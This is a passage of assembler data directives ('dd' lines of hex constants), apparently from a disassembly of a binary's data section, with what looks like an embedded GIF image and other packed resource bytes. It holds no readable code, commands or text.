1DF0281Dh, 0DEEDF3DFh, 0F6DF6DEAh dd 7DF8DE9Dh, 0DEFDFADFh, 0FFDF90C7h, 0CDF3DFDDh, 0E00E04DFh dd 0FEE05DFBh, 0DF9E02Dh, 0DF4E04E0h, 0FE0EE02h, 50D6E03Eh dd 0C10FF0Eh, 0B34F8DA6h, 809407DBh, 0CE0DA0Eh, 20E1FE1Eh dd 10CEE21Eh, 0E24E2000h, 25E23E24h, 0FE29E22Eh, 0E27E27E1h dd 2BE2DE1Eh, 8E2EE21Eh, 0E2CE2FE2h, 33E2EE32h, 0BE38E2AEh dd 0E22E30E2h, 3EE36E26h, 4E3BE3AEh, 0E44E35E3h, 1FE2AE46h dd 20E80DAEh, 0BC8DDF09h, 0FBDE2557h, 50470FA4h, 0C70DFDEh dd 58E570BAh, 1E59E59Eh, 0E5AE5B00h, 5C0BAE5Eh, 1E57E5FEh dd 0E64E5AE6h, 5DE63E60h, 0AE68E67Eh, 0E66E6BE6h, 5FE66E61h dd 0DE6BE6EEh, 0E72E69E6h, 77E6FE58h, 3E7AE71Eh, 0CE69FEE7h dd 0C7E5FE7h, 66E16B9Ah, 207906CBh, 0D00E009h, 33E48E48h dd 9E46E3FEh, 0E3CE32E3h, 8FE40E90h, 0AE8BE40Eh, 0E89E45E3h dd 3DE45E43h, 1E99E8FEh, 0E34E41E3h, 89E8DE95h, 0D0E21Eh dd 790920Eh, 70B16DE0h, 0FD72630Dh, 0BFE5254h, 0C10D90FFh dd 5EB40B60h, 0EB6EB6EBh, 0BAEB8001h, 5EB90B6Eh, 0EB7EBDEBh dd 0BFEBBEBEh, 3EB4EBCEh, 0EBFEBDECh, 0BEEC2EC7h, 7EC1EC9Eh dd 0ECCEC8EBh, 0C8EC5EC5h, 4ECDED1Eh, 0ECDED3EDh, 0C4ED4EC6h dd 0ECBED8Eh, 0C1EB7ECh, 0BF0FF0D9h, 0F4F7E170h, 770690Eh dd 0A3E1D092h, 0BE2CE9FEh, 0E37E47E9h, 97EEDE94h, 8EF4EA2Eh dd 0EF7EEEE3h, 9AEF6EECh, 8E9EE8AEh, 0EF5EF1EFh, 0DAEEBE9Eh dd 306F0940h, 682C95B9h, 538C78B0h, 1EB1EAF5h, 0E5EE620Ch dd 5B366E70h, 3E7D282Eh, 0F16281F1h, 14E76E64h, 3E79E78Fh dd 0F19F17E6h, 1FE71F14h, 1E78E7CFh, 0EE6CF2FEh, 0F28F17F1h dd 26E6EF28h, 7F12F21Fh, 0F0FF23E7h, 0E2EE00BAh, 64F6EE4Eh dd 0EE906FEEh, 92EECEEBh, 8F01366Eh, 0E25282E2h, 37EA0281h dd 6EF3F43Eh, 0E23E8CEFh, 46EEDF41h, 3E2FE93Fh, 0E8EE3DF4h dd 4DF4AEF3h, 7F3EE39Fh, 0EF4F57E9h, 0DA0CEF3Bh, 0EF050920h dd 0EAB84BE4h, 4EEAD64Ah, 0F0440FA5h, 0D50FD0Bh, 6CF320C6h dd 0EF1DF6DFh, 0F71F70F6h, 15F73F72h, 7F76F74Fh, 0C6E62F7h dd 0BF0FD0D5h, 0F4FBB7D0h, 6F0700Eh, 0D80E0095h, 0CF86F5B0h dd 0F87F4EEFh, 8CF8BF8Ah, 0FF8EF8DFh, 0D8F8AF8h, 7006FEA6h dd 555F600h, 53AB2E5h, 0DD0F40C2h, 0FD340D90h, 0F9FFA0F9h dd 0A4FA1D30h, 7FA6FA5Fh, 0FA3FA1FAh, 0ACFABFA8h, 0D0D9FA4Fh dd 0C20F40Dh, 0F34FCAF2h, 306F07A0h, 0C00B408h, 0BC0CC0C8h dd 0FFBEFBDFh, 0FC1FC0FBh, 0C3001FC0h, 7FC6FC2Fh, 0FC9FC8FCh dd 0CCFCBFCAh, 0FECEFCDFh, 80CCFCFFh, 0B40C00Ch, 1406F07Dh dd 6F08C19Bh, 0EAEC988Ch, 0E50A807Eh, 10E90E50h, 0FE3FE2FEh dd 0E6FE5FE4h, 9FE8FE7Fh, 0FEBFEAFEh, 0EDFEDFECh, 1FEE001Fh dd 0FF3FF2FFh, 0A8FDFFE3h, 8B4707E0h, 680930Fh, 0A508E05Ah dd 1000B70h, 8240D8ACh, 441E0D05h, 30D8B098h, 3E180186h dd 0E2511884h, 2D0A8944h, 5198C45Eh, 0A8E46E3h, 0E52ADE19h dd 499A0B48h, 449DE2FAh, 4AE55299h, 0BE5D2D96h, 5ECF1784h dd 0E45C1F8Fh, 5399C4DCh, 3F2E4E27h, 178BD87Ah, 0A250E5F3h dd 0C3E9E345h, 395B23E5h, 0B1D54D75h, 0EA551A83h, 0AD55AA54h dd 359AC3B6h, 5DAE55ABh, 0EAD56AABh, 0AA58EC55h, 4592B760h dd 0BAA9D68Bh, 0E07CD972h, 1F52C932h, 0C26226BBh, 4A64EA24h dd 7DBE5EEFh, 0AC05FEFDh, 0C260D4F7h, 461F0D85h, 6054F89Ch dd 3F1D8DC6h, 72591C86h, 129DC1E0h, 84A31185h, 9DA35C5Dh dd 8CFEB73Dh, 4EE6B339h, 0FE7B3AD2h, 7559FA0Ch, 9EED7A51h dd 0F6761A4h, 0F87CBE5Fh, 9DC6DF6Ch, 0DE6D36FBh, 0E6F77DBDh dd 70F85C17h, 0D37FC3E2h, 0F8EFF7FEh, 99CADEF2h, 5D1E873Fh dd 0D4EA74FAh, 0F363B1EDh, 96BD1DA4h, 1181EEF4h, 9F4E6622h dd 9FCDE53Fh, 0FD5E9F47h, 0DDEDF67Ah, 5F1F87BFh, 0F5FA7CFEh dd 2389F7E5h, 7B980846h, 0EFFF57DCh, 6C9A342Ch, 0D3C0AD2Ah dd 400A1280h, 0E7825105h, 68DA4D1Fh, 27091425h, 0B42B0A4h dd 4330C42Fh, 0B0E4370Dh, 43F0F43h, 47114431h, 4D0BC56Ch dd 255049FEh, 0A4C9E078h, 0A0B23B10h, 67194622h, 258A91A4h dd 4731C46Ah, 0B1E4771Dh, 47F1F47h, 81214832h, 2CC831BCh dd 932428ECh, 926416D4h, 2B470125h, 9703B4B0h, 0E541726Ch dd 741E0F6h, 0A1D0701Ch, 4BF2F4Bh, 0C7314C33h, 2DCCB324h dd 4D3344CFh, 0B364D735h, 84CB374Dh, 0E7394E33h, 753FEA4h dd 8678F61Eh, 0B1EEA21Fh, 0AC2F9187h, 41503400h, 902B507h dd 34450F42h, 65174551h, 1F4751B4h, 47D23485h, 0BF4850Dh dd 0AFE9EE46h, 94194D4Ah, 0A528C069h, 4DC109F4h, 1EC78401h dd 2649B27Bh, 25546218h, 5F5755A6h, 6355B585h, 56B5A566h dd 35C56F5Bh, 0E1846357h, 7F5F57B5h, 611835EDh, 0D8B62587h dd 16456361h, 659664D6h, 9F6759B6h, 64DA3685h, 5AB6A196h dd 36C5AF6Bh, 5DA96D5Bh, 80771B36h, 7D1E8982h, 1B26D9CAh dd 3745CF73h, 0B1A86CDDh, 0DF775DA6h, 795E3785h, 5EB7A5E7h dd 37C5EF7Bh, 0E5F77D5Fh, 0CF7C5D97h, 7D9C86DDh, 0CAB51BFCh dd 0D4FC0927h, 2CA950B4h, 0F898B3F8h, 89622E49h, 62B8A627h dd 38C62F8Bh, 0E6378D63h, 3F8F63B8h, 7FE43906h, 4567A1F8h dd 3911E8A2h, 66579565h, 5F9765B9h, 8664988Eh, 53B5261Bh dd 69CE1328h, 0F66914CAh, 7F9F456Ch, 683A06FEh, 0BA2687A1h dd 468FA368h, 97A5693Ah, 0A769BA66h, 69EA2E81h, 0BAA6A7A9h dd 0C6AFAB6Ah, 9B9E683Ah, 8567183Ch, 0EB79DB51h, 0BB26B3A8h dd 46CFB36Ch, 0D3B1E8BBh, 0B76DBB66h, 0EC5A3EDFh, 9AF6BB05h dd 96C385A7h, 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 0D27707C1h dd 0D6EB8466h, 17C57099h, 0C771BC67h, 0F23C871Fh, 5BAEE9BFh dd 0C725C48Eh, 37CD733Ch, 0CF73BCE7h, 0F2BC360Dh, 0BCFF2E9Bh dd 474FD374h, 79D5753Dh, 0BBF11CA6h, 763D8757h, 0DDA767D9h dd 26BDD6F3h, 77DD76BDh dd 0DF77BDE7h, 0F45D0EB9h, 0BE277FDCh, 0A78FE378h, 879C76FDh dd 0E779BE47h, 719E879Fh, 3E6613E5h, 0C7AFEB7Ah, 45E07B3Eh dd 0D7F71C3Bh, 7C3F07B5h, 3157C7F1h, 70B9CAF8h, 4A7C87A2h dd 0F77DBF26h, 1E1E47DFh, 0C1E9F27Ah, 2E71EE89h, 0D61F89C3h dd 0FF6E0A0Fh, 6007FFh, 2403805h, 780D016h, 0FE3C5ABCh dd 2703F7E6h, 72744194h, 7E160328h, 11F58FC0h, 0C4177E0Ch dd 474F0660h, 0E3F1F98Fh, 0A0705807h, 93D0CAE8h, 54C6D0E0h dd 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h, 0D61A4338h dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h dd 3826D219h, 8A10935h, 9F03F825h, 4F89C0F4h, 0A5146284h dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh dd 4638C518h, 8CD19632h, 1A634467h, 2D46B8D5h, 4983F132h dd 9D08E07Ch, 0D6374730h, 0C4778ED1h, 0B8F51E63h, 0D1F63E47h dd 64047F8Fh, 48390520h, 90D21642h, 22644487h, 4648B915h dd 8F91D236h, 0E7206484h, 3E383F68h, 185C8210h, 0B9341721h dd 0D2764E49h, 65049F93h, 4A394528h, 94D29652h, 2A6544A7h dd 564AB955h, 0AF95D2B6h, 652C6584h, 0D65A4B39h, 34B796D2h dd 692B08E5h, 0D2F65E49h, 6604BF97h, 39688530h, 0D316624Ch dd 6644C798h, 4CB99532h, 99D33666h, 346684CFh, 6A4D39A5h dd 0D79AD356h, 0B53666C4h, 766E4DB9h, 4DF9BD3h, 39C53867h dd 0D396724Eh, 6744E79Ch, 4EB9D53Ah, 9DD3B676h, 3C6784EFh dd 7A4F39E5h, 0F79ED3D6h, 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h dd 3A054068h, 0D4168250h, 684507A0h, 0D0BA1542h, 40684h dd 3Bh, 0 dd 38464947h, 21D6137h, 0E700A4h, 10000h, 5010603h, 9030408h dd 0A0D0B0Dh, 13101311h, 15111214h, 1A181417h, 1A1C1B17h dd 201C201Eh, 24221E22h, 23272521h, 2A262927h, 2E2C282Ch dd 2C302E2Ah, 37323230h, 3B393539h, 3A3D3B37h, 423D403Eh dd 46444044h, 4C4C4A46h, 534E5250h, 58565255h, 5C5B5854h dd 66616360h, 6B686468h, 5F6E6C67h, 74598972h, 73716C89h dd 5F8A755Ah, 7D628F7Ah, 95806592h, 73CA8A33h, 816A7F7Fh dd 97806D91h, 9093826Ch, 8F3F677Ch, 0CB8758BCh, 79B8913Eh dd 86708585h, 97857697h, 7287847Fh, 8A569988h, 9A8973DBh dd 41DD8C58h, 8C80FF91h, 9F8D7E8Ch, 82A08F78h, 94688F8Eh dd 0FF9646A7h, 85FE9352h, 937B9191h, 0F69854B0h, 7E949387h dd 9778A695h, 0A7967FA7h, 80A89586h, 9A59A897h, 0A99881FFh dd 8BFF9E50h, 9C5B9897h, 0C8997CFFh, 699A998Dh, 9C66E89Ch dd 0BAA270FCh, 609C9C8Fh, 9C8DFFA1h, 0AA9D91AFh, 91A59F8Fh dd 0A27FA7A1h, 0FEA46DD7h, 97A3A396h, 0A965B0A2h, 0FFA76FFFh dd 66C9A97Bh, 0AA70FFAAh, 0ADA797FDh, 7AB3A69Ah, 0A89CC1AFh dd 0FFAE75A9h, 0A1B4AD9Dh, 0AD9EBAADh, 0FFB280CDh, 98B6B0A0h dd 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h, 0B78FFEBAh, 0DDB493C5h dd 94B9B3A3h, 0B58BDEB5h, 0C1B3A8FEh, 0A9FFB984h, 0BC8EBFB9h dd 0FEBA96FEh, 0B3FFBF91h, 0BDB5C3BBh, 0C6BFAFC6h, 9AE6C1A5h dd 0C2B1FEC2h, 0FFC49DC8h, 0A2CBC4B4h, 0C6A4F7C7h, 0F7C6A9FDh dd 0BECDC5BDh, 0C8B8CFC6h, 0D0C7BFCEh, 9FFFCAA8h, 0CAADFDCEh dd 0D2CBBBFCh, 0C1FDCDA7h, 0CCB0D2CAh, 0FFCFA9FEh, 0B8FFCFB2h dd 0D1C1FCD0h, 0D8D0C8D8h, 0B4FFD2BAh, 0D5C5FFD5h, 0FFD6B6DCh dd 0C2DDD5CCh, 0D8BCFCD5h, 0DFD8C8FDh, 0BAFED7C4h, 0DCB7F8DBh dd 0E0D8CFFFh, 0D4F9DAC2h, 0DBCBDBD9h, 0FFDAC6E2h, 0CBE2DAD2h dd 0DDCCFCDAh, 0E4DBD3E3h, 0C6E5DCD4h, 0DFCEFDDEh, 0F9E1C5E5h dd 0D6E0DED8h, 0DFDAE7DEh, 0E8E0D7E2h, 0D2FBE3C7h, 0E0DBE9E2h dd 0FBE2CEE3h, 0D9E9E1D8h, 0E2DCEAE2h, 0F8E3D4E4h, 0DDEBE3DAh dd 0E6D5E5E3h, 0E6E4DFECh, 0CCFAE7CFh, 0E7D6FFE8h, 0FAE4DCEDh dd 0E0FAE6D6h, 0E7D7E8E5h, 0E9E6E1FBh, 0E1E3E4EAh, 0E4EDF5E5h dd 0F0E7DFDDh, 0E2F0E9D9h, 0E6E2EAE7h, 0F6E8DCF6h, 0E3F1EADAh dd 0E7E3EBE8h, 0F2EBDBF7h, 0E4ECE9E4h, 0ECDCF8E8h, 0EDEAE5F3h dd 0DDFAECE0h, 0ECE6F4EEh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh dd 21D0000h, 80000A4h, 98700FEh, 20B0481Ch, 9AC366C1h dd 0B0C68B35h, 0D48643A1h, 489C4A22h, 8BB5E231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5346730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 90D48851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31AED48h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B6D49Eh, 8E6D5631h, 38C6469Dh, 0BDE42AB9h dd 0D35F2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED1B0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 9B02A018h, 47A6D8h, 89B6D87Ah, 2005D502h, 461083E0h dd 1484E128h, 1541C7EEh, 8081B6h, 0C145B608h, 86208541h dd 2488E228h, 109E2896h, 4D76D41Eh, 80246402h, 81E369Ch dd 348CE261h, 8DE368D6h, 40E24202h, 0A03C7A6Dh, 420903CDh dd 902400D6h, 40E0D5h, 9706404h, 519C0164h, 4DA0480h, 10305A0h dd 9305D004h, 0A54949B5h, 1A5B595h, 80B0041h, 648E20E1h dd 99E66996h, 0AB02220h, 0A0A82064h, 6A1C0A8Dh, 90020A73h dd 240150C9h, 0C21280D4h, 606E4C05h, 525120CBh, 63176440h dd 0A0E8198Eh, 40820263h, 419CC31Bh, 4668A180h, 94A4E92Ah dd 95C1A7BEh, 89792E2Bh, 0A168DA8Bh, 2C0B6401h, 32FDB52h dd 93280930h, 25896480h, 0B36AAAAAh, 0B5FE1381h, 0ACE95989h dd 0AB6AD6B4h, 0A8703B73h, 4DB504C7h, 3B07E090h, 1B4B66D4h dd 24709069h, 9964C393h, 686AAECh, 90946CB0h, 281B59A9h dd 0ED6ADE90h, 5A56D8B5h, 80DA0448h, 0B9642C10h, 2141036Ah dd 0C051E990h, 30D41C03h, 41B6A148h, 0CCAAEECAh, 345B5352h dd 0EF6B66D5h, 7896F8BDh, 2CAF018Dh, 0AB6D4A70h, 18AB028h dd 5903DC8h, 0BC2EFC0h, 2F0CC2EDh, 90BFC06Ch, 0C4EF9B51h dd 611C5714h, 70602406h, 6424061Bh, 596D6CA0h, 0C270DC24h dd 1A642EEh, 51399086h, 0B72CC5AFh, 327BF2ECh, 6DAB000Ch dd 5B50CB2Ah, 62BC2105h, 8805154Bh, 3FC3325Ch, 1D40A217h dd 0C071B4C3h, 0AD272FCAh, 1DED2F4h, 0B72D8032h, 0AA4032D9h dd 41625D90h, 70540300h, 0C2EDCF86h, 6D36B3FBh, 2801048h dd 0F4C0103Bh, 0DA768D9h, 0A81025E2h, 70DBF6EDh, 0EC077D7h dd 88B350ABh, 0ADC63205h, 7CDEFEF7h, 587A793h, 77903E8Fh dd 6E1784DFh, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h, 0A36E4790h dd 67655E57h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h, 0FA2E87A0h dd 4763A4E8h, 9D5E7579h, 0ACEAD405h, 0EBFAEEB7h, 0FB2EC7B0h dd 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h, 0FB1F07C0h dd 77455D50h, 0FD03344Dh, 0CCF2FCA2h, 0F3FCEF37h, 0FD2F47D0h dd 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h, 0FE2F87E0h dd 6F97E4F8h, 0FD7F9FEh, 0C68BCD14h, 3ECC3579h, 4F83E0FBh dd 6FD7F43Dh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h, 0A00C00h dd 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h, 8C1081F0h dd 7E4FFE0h, 2F1461BFh, 1F7BC739h, 0F21E43Eh, 83F07878h dd 8A10C20h, 12C24847h, 2884F09Ah, 570AA14Ch, 0BA16C2C8h dd 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h, 4298770Eh dd 1F63E20Eh, 9F58C3FEh, 9081AE72h, 1DC3C20Dh, 12A24C48h dd 26C4C897h, 5089F13Ah, 0A714A28Ch, 5A2AC548h, 0CC588AF1h dd 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 1E115632h dd 4247C0F2h, 6A1C47D8h, 1B17E334h, 0E70F0774h, 0DA3AC748h dd 0CC788EF1h, 0C8F71EA3h, 0B1FA3EC7h, 0E348EE85h, 0AF219A2Fh dd 186350E4h, 11C7A8BFh, 46C8C8FFh, 9091F23Ah, 2724A48Ch dd 0CA164949h, 0B0BF1EB1h, 990E72A0h, 0F25645C8h, 0A50CA093h dd 0CA494728h, 92F1F252h, 71A42C99h, 3948A938h, 0B095F29Ah dd 672CA58Ch, 0A2474B49h, 44869352h, 0C96B2B64h, 0F2FA5ECBh dd 0E60CC097h, 1C59552Dh, 98327A56h, 32A64CC8h, 3C4CC997h dd 0BA93730Eh, 0A733663Ch, 5A6ACD49h, 0C48B9AF3h, 19572E24h dd 0F362574Dh, 0A70CE09Bh, 0CCF94538h, 9BD2765Ch, 3AA74CE3h dd 39CEC9D7h, 0E79B9396h, 0E73CA76Ch, 9E7ACF49h, 0FEC59DF0h dd 0F73DA6ECh, 8E7ECFC9h, 0D46D9F13h, 4A073FA7h, 130A82D0h dd 6624DA1Eh, 0D069E340h, 0A1F43A86h, 706804A3h, 884E898Ch dd 18A2F45Ah, 8144A3DDh, 7A8CD143h, 0CD20A3F4h, 0D37F46E1h dd 0F49A90D1h, 0E14528A4h, 0D2537D48h, 0A5F4BA94h, 6F695D27h dd 9AD30A5Ah, 32A214DAh, 6F4D0DD5h, 0F29ED3CAh, 0D9B9A733h dd 4A874FA9h, 15027554h, 0AA2D4237h, 0CD5A9752h, 0A926DEA3h dd 54AA8D4Ch, 0DB54E981h, 5583F540h, 0E156AACAh, 76648011h dd 6D5F8E75h, 38FD5864h, 0D59690D6h, 61E56783h, 56B9215Ah dd 36B5563Bh, 59611557h, 0B0CF3ADBh, 7785D5D2h, 0F35D212Dh dd 62BE423Ah, 357E9ED5h, 19D95CE1h, 34229158h, 6864D095h dd 503B070Ah, 0B0B0E2BBh, 0BEBDC20h, 6B590B0Bh, 7FAFB656h dd 0DF1FAC25h, 86B8990Ah, 8D59B070h, 0CAD1686Ch, 0B56EAFD5h dd 6AE5A3AFh, 0DA9AD169h, 0B4F6B6CFh, 92FEADAAh, 5B2B596Ah dd 0B4B666D2h, 6CAD15B5h, 0DE5A9ABBh, 0A3B5F69Ah, 5D6C2D3Dh dd 6AC5BCBh, 0C5B9B8F7h, 3B6B6FEDh, 15A6D0DCh, 2B3DBEB6h dd 591BA163h, 0B69726D2h, 722EA563h, 0EADBDAFFh, 0D7BBB70Ah dd 0A96DECFDh, 8ADF599Bh, 9DC5BC17h, 2B99702Eh, 763AE25Eh dd 0E53DB3BDh, 4F99B761h, 0AE70A2C5h, 6CEF8D8Eh, 0B95D9B73h dd 0B6B57756h, 0F76DF00Dh, 0AFE5FFBh, 0FE05B4D8h, 0C0D82AFh dd 0B822FD60h, 0AE9603BCh, 0E01C0F71h, 0C2B83AFEh, 7FAD6609h dd 1DF9BCBh, 0B6C336C7h, 4785EF0Dh, 32FCDFCCh, 0DE1DC2D8h dd 4B8B5F2Fh, 0D73F1261h, 2F3DEFC4h, 0E0AC3F88h, 0C2789F16h dd 36ACE47Dh, 12635B3Ch, 7AC2D8CFh, 8780B16Dh, 171FE36Ch dd 1611B059h, 4C217EB2h, 1886F6E4h, 0ECC628C4h, 651C8991h dd 0C1F7C70Fh, 86F2664Fh, 24E04C9Dh, 55CB58FBh, 0B18D6C5Eh dd 972DE5DCh, 6DCFCCB9h, 0A58AFE72h, 0E725E61Ch, 0F63CC751h dd 4AB58A30h, 55AF3A66h, 2D6DBAB8h, 678B8D8Eh, 0AED99F2Dh dd 9D714D6Dh, 3E79CE9h, 84C0BA07h, 0D3A272BEh, 5AF65D8Ch dd 0CE12CDB9h, 0DCCFA4B2h, 797F29E3h, 73B658D2h, 0E4084993h dd 0D21A6F3Fh, 9933E618h, 0E0E9CBC7h, 0F3C7391Ah, 544E855h dd 0AB31E62Ah, 0AE5BD2B9h, 0CC190AB3h, 788F5965h, 753E0BCFh dd 0E8CCA9ACh, 0CCDA9349h, 99B5AEBFh, 4B632D6Dh, 97CADA8Fh dd 0D7ADB64Eh, 1B2969BCh, 66BAD3FBh, 0ECEFA871h, 5AEB69E6h dd 0EC4EA9A3h, 0EC2D672Eh, 0D9DA776Ah, 0B1E15E9Eh, 47E4AD95h dd 96DBF97Bh, 839B74AEh, 0DF666B0Dh, 0BEEDDCFAh, 3DA9A9F2h dd 1B2F256Ch, 613EE0CAh, 6E0DEFA7h, 0DD7B4B62h, 0B3F7EDDCh dd 6D509D51h, 0DDDF534Bh, 35B9B506h, 6348EEFCh, 2E80E07Ah dd 1CFDBCB7h, 0BBBF4766h, 0F726FCC2h, 5E1D25C4h, 0D2FB1785h dd 0B5F84F16h, 0E60B7FFEh, 0E118CF4Ch, 9DF866F0h, 0F1EAEC4Dh dd 38DBDBFAh, 6B65F8AEh, 0DF566708h, 95CADBB7h, 4CF99EB3h dd 5A16E1E9h, 39CE5ED4h, 622D01CFh, 0B9BC9EE7h, 762DA5BBh dd 0DEEFFD4Bh, 44BD7732h, 51D0FA5Fh, 2F6AEB4Bh, 0E2CE919h dd 4E83D434h, 572EF860h, 0F20F57EAh, 0EE3E95CFh, 0DBFD56D8h dd 0B37B0746h, 0B4E40ED3h, 0E6E0B7CBh, 2154F6DCh, 0D63C733Ah dd 0C777925Dh, 6E6B2FEBh, 3437B9DFh, 0FC0475EFh, 0EE2F0523h dd 0EE3B67BDh, 637BF707h, 5F560F09h, 8FDF5E32h, 0E5DF246Fh dd 5BCAF8AEh, 4F93949Eh, 0CF37E5FCh, 0BE6647F9h, 0BD0F9DA2h dd 770DB1E8h, 0F47E5278h, 3BBD4FA8h, 0CD7A6F0Fh, 91AEF287h dd 0E5EC649Fh, 0CF3B590Ah, 8DCD963Eh, 0D3574A4h, 0FED3DB4Ch dd 0E1373EBAh, 7B0961E7h, 0D7B29724h, 0B02C9D6Ah, 0FBFC895Fh dd 0CBF75DB6h, 6F65EC0Fh, 0E7456F9Fh, 1C23D91Ah, 0FE51F33Eh dd 365369CEh, 0AFD3875Fh, 2FC5F1FEh, 0D23393F6h, 3F27D8E1h dd 0F0E8EDF7h, 849BA348h, 0D6F247DAh, 0ECDCBBADh, 55FED7A2h dd 0BFD4BA9Fh, 2ADC745Bh, 0E761E81Dh, 7FC5C95Dh, 3B8035A0h dd 0A80476A7h, 7447E276h, 6762A7E8h, 0F80E7387h, 80674F5Eh dd 0B7DF813h, 0B7667F36h, 75E60672h, 0FB7F47D1h, 57F85C87h dd 82263D7Fh, 1B7C0645h, 142A7D26h, 72C57A7Fh, 2172961Ch dd 66BE82C6h, 6EA7207Dh, 8C70F711h, 271967B5h, 6F57145Ah dd 307E9833h, 75A07177h, 6316F26Dh, 1B83182Dh, 0A59266E7h dd 62E7F971h, 0D81D725h, 6F37156h, 6E16D26Ch, 7E5ED7FDh dd 0D82A5815h, 71783B7Dh, 3C856703h, 0B7D585E8h, 70B66C6Fh dd 6583F70Fh, 0C8606B08h, 85C6F185h, 96E1830h, 0C8396E36h dd 86980D6Eh, 517EF83Fh, 0D7BC68F8h, 8466A170h, 658396BDh dd 86CD7BE7h, 7AC7F086h, 27A75F5h, 21FE5CA7h, 285D60D7h dd 8217E874h, 627C1643h, 0A6CC8008h, 7F57C870h, 1662F745h dd 280B8797h, 6C486D71h, 21683610h, 175C8707h, 88E89688h dd 4288C86Ah, 0A87A7568h, 65C67D68h, 5A8946BFh, 983E7EA8h dd 50B8847Dh, 1683C886h, 0D6B780F8h, 89D64286h, 0A48BB864h dd 36E98956h, 7D76A58Ch, 0A98B16EEh, 0E71A6348h, 6D67015Dh dd 0CB87267Eh, 0F8CE7E67h, 6E88656Ah, 0B982E687h, 46827DD8h dd 5798AA8Ch, 87859590h, 78D58168h, 85072D87h, 5371E8BFh dd 0C69482E8h, 8E685A8Dh, 698746ADh, 386C8DB6h, 6CE71084h dd 0D47EE7EFh, 0E8EA8678h, 8E576B89h, 0FF8E26C8h, 38AE8E46h dd 42587690h, 5B7B48E0h, 0A8B08918h, 6996B172h, 2D70C726h dd 284471C7h, 9108CF72h, 0F7208FCh, 0F6BB8A49h, 90E8478Fh dd 0A161D6FDh, 0F8F78F98h, 89C9187Ch, 73650731h, 491975C8h dd 8D88DA85h, 558287Fh, 0B582FE99h, 877D6AB8h, 5F881859h dd 0FE8F2814h, 47498707h, 76E7FF76h, 0D07FA92Ah, 562572E6h dd 7BF8A680h, 0AF67F7F8h, 167A9485h, 81473A7Ch, 59686866h dd 0A9386887h, 8175EE80h, 3B917950h, 293D8BD9h, 75193888h dd 7760742h, 0B5BA95F8h, 9568818Eh, 1C9338DFh, 58C87365h dd 4CB7D450h, 827AA96Fh, 496A7988h, 8B296C52h, 5E9714FBh dd 0A4779725h, 90747497h, 224FD903h, 0C9834FC6h, 98543797h dd 869804A5h, 798C98B9h, 52C9754Fh, 9298D977h, 0A4209939h dd 99799498h, 98996986h, 0A7A899B9h, 99F99C99h, 0A099E79Ch dd 278A9A39h, 9A79A49Ah, 0A89A6551h, 0A5449AB9h, 9AF9AC9Ah dd 0B09AE537h, 252E9B39h, 9B79B49Bh, 0B89B6521h, 0A5189BB9h dd 9BF9BC9Bh, 0C09BE50Eh, 25039C39h, 9C79C49Ch, 0C89C64F6h dd 0A4ED9CB9h, 9CF9CC9Ch, 3398F4FFh, 59D09915h, 9D253F9Dh dd 0D69D453Ah, 0F39DB9FEh, 65229CE4h, 9E19E046h, 5C9E39E2h dd 79E442B4h, 9E99E89Eh, 0DE4A09E8h, 0B41E7349h, 9F10FF0Fh dd 0F49F39F2h, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h dd 0A01A009Fh, 1D0FBA02h, 0E9957A04h, 0A09A0241h, 0CA0BA0Ah dd 0FA0EA0DAh, 0A059FBA0h, 359ED495h, 80DD41C4h, 0A190C60Ch dd 1CA1B0C8h, 9A1CA1DAh, 0A200C80Ch, 24A21A22h, 5A26A23Ah dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h dd 0EA33A33Ah, 0A1EA38A1h, 0F70DD0CEh, 242741D0h, 0D50F50Fh dd 430BE0C0h, 7A460C0Ah, 0A49A48A4h, 4C0BEA47h, 0FA4EA4DAh dd 0A51A50A4h, 54A53A52h, 